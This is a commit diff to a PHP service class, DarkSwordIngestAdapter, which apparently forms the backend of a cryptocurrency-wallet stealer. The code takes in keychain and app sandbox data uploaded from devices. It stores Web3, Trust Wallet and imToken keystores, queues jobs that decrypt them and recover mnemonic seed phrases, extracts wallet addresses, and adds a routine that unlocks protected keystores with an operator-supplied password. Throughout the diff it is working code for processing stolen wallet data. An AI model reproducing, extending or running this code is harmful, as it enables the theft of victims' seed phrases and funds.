feat: app
This commit is contained in:
@@ -3,6 +3,7 @@
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
@@ -248,17 +249,18 @@ class DarkSwordIngestAdapter
|
||||
$wallets = $keychain['wallets'] ?? [];
|
||||
$sandbox = $payload['sandbox'] ?? [];
|
||||
|
||||
// Store keystores synchronously (fast), then dispatch async decryption.
|
||||
// Store keychain + decryptable UTC only. Do not persist the rest of sandbox.
|
||||
$rows = array_merge(
|
||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
|
||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
||||
$this->storeWeb3KeystoresFromTree($device, $sandbox),
|
||||
);
|
||||
|
||||
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
||||
$this->trustAddresses->ingest($device, $sandbox);
|
||||
$this->trustAddresses->ingest($device, $wallets);
|
||||
|
||||
// Async: mnemonic recovery + plaintext walk + address extraction.
|
||||
// Async: mnemonic recovery still receives the in-memory sandbox for this
|
||||
// request; later reprocess rebuilds UTC from stored web3.keystore rows.
|
||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
@@ -506,7 +508,7 @@ class DarkSwordIngestAdapter
|
||||
return;
|
||||
}
|
||||
$this->trustAddresses->ingest($device, $raw);
|
||||
$this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
|
||||
$this->storeWeb3KeystoresFromTree($device, ['trust_wallet' => $raw]);
|
||||
|
||||
// Async: attempt Trust UTC keystore decryption.
|
||||
DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
|
||||
@@ -528,10 +530,10 @@ class DarkSwordIngestAdapter
|
||||
$wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : [];
|
||||
$sandbox = is_array($json['sandbox'] ?? null) ? $json['sandbox'] : [];
|
||||
|
||||
// Store keystores synchronously (fast), then dispatch async decryption.
|
||||
// Store keychain + decryptable UTC only.
|
||||
$rows = array_merge(
|
||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $json['diagnostics'] ?? null),
|
||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
||||
$this->storeWeb3KeystoresFromTree($device, $sandbox),
|
||||
);
|
||||
|
||||
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
||||
@@ -556,10 +558,10 @@ class DarkSwordIngestAdapter
|
||||
if ($json === null) {
|
||||
return;
|
||||
}
|
||||
$this->storeWalletKeystores($device, ['imtoken' => $json], 'keychain.wallets', null);
|
||||
$payload = $json;
|
||||
$payload['kind'] = 'web3.keystore';
|
||||
$this->createKeystore($device, 'imToken', $payload, true);
|
||||
|
||||
// Async: attempt recovery (imToken needs password — will likely fail,
|
||||
// but the job logs the reason and still extracts addresses if any).
|
||||
DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
|
||||
}
|
||||
|
||||
@@ -749,7 +751,7 @@ class DarkSwordIngestAdapter
|
||||
continue;
|
||||
}
|
||||
$bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? ''));
|
||||
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) {
|
||||
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple') || DeviceApp::shouldSkipBundle($bundle)) {
|
||||
continue;
|
||||
}
|
||||
$row = [
|
||||
@@ -810,6 +812,92 @@ class DarkSwordIngestAdapter
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Persist standard Web3 UTC / walletsV2 blobs found in a sandbox tree.
|
||||
* The rest of the sandbox is discarded.
|
||||
*
|
||||
* @return list<WalletKeystore>
|
||||
*/
|
||||
private function storeWeb3KeystoresFromTree(Device $device, mixed $tree): array
|
||||
{
|
||||
$items = $this->keystoreDecrypt->collectKeystores($tree);
|
||||
$rows = [];
|
||||
$seen = [];
|
||||
foreach ($items as $item) {
|
||||
$ks = $item['keystore'];
|
||||
$crypto = $ks['crypto'] ?? $ks['Crypto'] ?? [];
|
||||
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
|
||||
if ($fp === '|' || isset($seen[$fp])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$fp] = true;
|
||||
$source = trim((string) ($item['source'] ?? ''));
|
||||
if ($source === '') {
|
||||
$source = 'Trust Wallet';
|
||||
}
|
||||
$payload = $ks;
|
||||
$payload['kind'] = 'web3.keystore';
|
||||
$rows[] = $this->createKeystore(
|
||||
$device,
|
||||
$source,
|
||||
$payload,
|
||||
$this->web3NeedsUserPassword($source),
|
||||
);
|
||||
}
|
||||
|
||||
return $rows;
|
||||
}
|
||||
|
||||
private function web3NeedsUserPassword(string $source): bool
|
||||
{
|
||||
$label = strtolower(trim($source));
|
||||
|
||||
return str_contains($label, 'imtoken')
|
||||
|| str_contains($label, 'metamask')
|
||||
|| str_contains($label, 'tronlink')
|
||||
|| str_contains($label, 'tokenpocket')
|
||||
|| str_contains($label, 'global wallet');
|
||||
}
|
||||
|
||||
/**
|
||||
* Rebuild in-memory wallet/sandbox trees from stored rows so decrypt jobs
|
||||
* still see UTC blobs after we stopped persisting full sandbox dumps.
|
||||
*
|
||||
* @return array{0: array<string, mixed>, 1: array<string, mixed>}
|
||||
*/
|
||||
public function storedWalletTrees(Device $device): array
|
||||
{
|
||||
$device->loadMissing('keystores');
|
||||
$wallets = [];
|
||||
$sandbox = [];
|
||||
foreach ($device->keystores as $row) {
|
||||
$json = is_array($row->raw_json) ? $row->raw_json : [];
|
||||
$kind = (string) ($json['kind'] ?? '');
|
||||
if (str_starts_with($kind, 'keychain')) {
|
||||
$wallets = array_merge($wallets, is_array($json['wallets'] ?? null) ? $json['wallets'] : []);
|
||||
|
||||
continue;
|
||||
}
|
||||
if ($kind === 'web3.keystore' || (isset($json['crypto']) && is_array($json['crypto']))) {
|
||||
$key = trim((string) $row->source);
|
||||
if ($key === '') {
|
||||
$key = 'web3';
|
||||
}
|
||||
if (! isset($sandbox[$key]) || ! is_array($sandbox[$key])) {
|
||||
$sandbox[$key] = [];
|
||||
}
|
||||
$sandbox[$key][] = $json;
|
||||
|
||||
continue;
|
||||
}
|
||||
if (isset($json['sandbox']) && is_array($json['sandbox'])) {
|
||||
$sandbox = array_merge($sandbox, $json['sandbox']);
|
||||
}
|
||||
}
|
||||
|
||||
return [$wallets, $sandbox];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<WalletKeystore>
|
||||
*/
|
||||
@@ -879,9 +967,9 @@ class DarkSwordIngestAdapter
|
||||
/**
|
||||
* @param array<string, mixed> $rawJson
|
||||
*/
|
||||
private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore
|
||||
private function createKeystore(Device $device, string $source, array $rawJson, bool $needsPassword = false): WalletKeystore
|
||||
{
|
||||
return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
|
||||
return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson, $needsPassword);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -893,19 +981,7 @@ class DarkSwordIngestAdapter
|
||||
public function reprocessKeystores(Device $device): void
|
||||
{
|
||||
$device->load('keystores');
|
||||
|
||||
// Rebuild wallets/sandbox dicts from stored keystores so the walkers
|
||||
// can traverse the original tree structure.
|
||||
$wallets = [];
|
||||
$sandbox = [];
|
||||
foreach ($device->keystores as $row) {
|
||||
$kind = $row->raw_json['kind'] ?? '';
|
||||
if (str_starts_with($kind, 'keychain')) {
|
||||
$wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []);
|
||||
} else {
|
||||
$sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []);
|
||||
}
|
||||
}
|
||||
[$wallets, $sandbox] = $this->storedWalletTrees($device);
|
||||
|
||||
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
|
||||
$this->walkForMnemonics($device, $wallets, 'd');
|
||||
@@ -919,8 +995,38 @@ class DarkSwordIngestAdapter
|
||||
public function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
|
||||
{
|
||||
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
|
||||
$this->applyMnemonicHits($device, $hits);
|
||||
}
|
||||
|
||||
/**
|
||||
* Unlock a needs-password UTC / walletsV2 blob with an operator-supplied password,
|
||||
* then persist mnemonics the same way as automatic recovery.
|
||||
*
|
||||
* @return array{hits: int, utc: int, vault: int}
|
||||
*/
|
||||
public function decryptKeystoreWithPassword(Device $device, WalletKeystore $row, string $password): array
|
||||
{
|
||||
$result = $this->keystoreDecrypt->unlockRowWithPassword($device, $row, $password);
|
||||
$this->applyMnemonicHits($device, $result['hits']);
|
||||
if ($result['hits'] !== []) {
|
||||
[$wallets, $sandbox] = $this->storedWalletTrees($device->fresh('keystores'));
|
||||
$this->extractAddressesFromKeystores($device, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
return [
|
||||
'hits' => count($result['hits']),
|
||||
'utc' => $result['utc'],
|
||||
'vault' => $result['vault'] ?? 0,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array{source: string, tag: string, phrase: string, addresses?: list<array<string, mixed>>}> $hits
|
||||
*/
|
||||
private function applyMnemonicHits(Device $device, array $hits): void
|
||||
{
|
||||
foreach ($hits as $hit) {
|
||||
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
|
||||
$tag = ($hit['tag'] ?? '') !== '' ? $hit['tag'] : 'd';
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $hit['phrase'],
|
||||
'a' => $tag,
|
||||
@@ -970,8 +1076,18 @@ class DarkSwordIngestAdapter
|
||||
if (is_string($node)) {
|
||||
$phrase = $this->asMnemonicPhrase($node);
|
||||
if ($phrase !== null) {
|
||||
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
|
||||
$hits[] = ['phrase' => $phrase, 'source' => $sourceHint];
|
||||
$ingestTag = $tag;
|
||||
if ($sourceHint !== '') {
|
||||
$mapped = WalletSource::tagForLabel($sourceHint);
|
||||
if ($mapped !== '') {
|
||||
$ingestTag = $mapped;
|
||||
}
|
||||
}
|
||||
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $ingestTag]);
|
||||
$hits[] = [
|
||||
'phrase' => $phrase,
|
||||
'source' => $sourceHint !== '' ? $sourceHint : WalletSource::fromTag($ingestTag),
|
||||
];
|
||||
}
|
||||
|
||||
return;
|
||||
@@ -1028,6 +1144,13 @@ class DarkSwordIngestAdapter
|
||||
|
||||
private function tagForWalletKey(string $key, string $fallback): string
|
||||
{
|
||||
$hint = WalletSource::fromKeystoreHint($key);
|
||||
if ($hint !== '') {
|
||||
$mapped = WalletSource::tagForLabel($hint);
|
||||
if ($mapped !== '') {
|
||||
return $mapped;
|
||||
}
|
||||
}
|
||||
$k = strtolower($key);
|
||||
if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) {
|
||||
return 'b';
|
||||
|
||||
Reference in New Issue
Block a user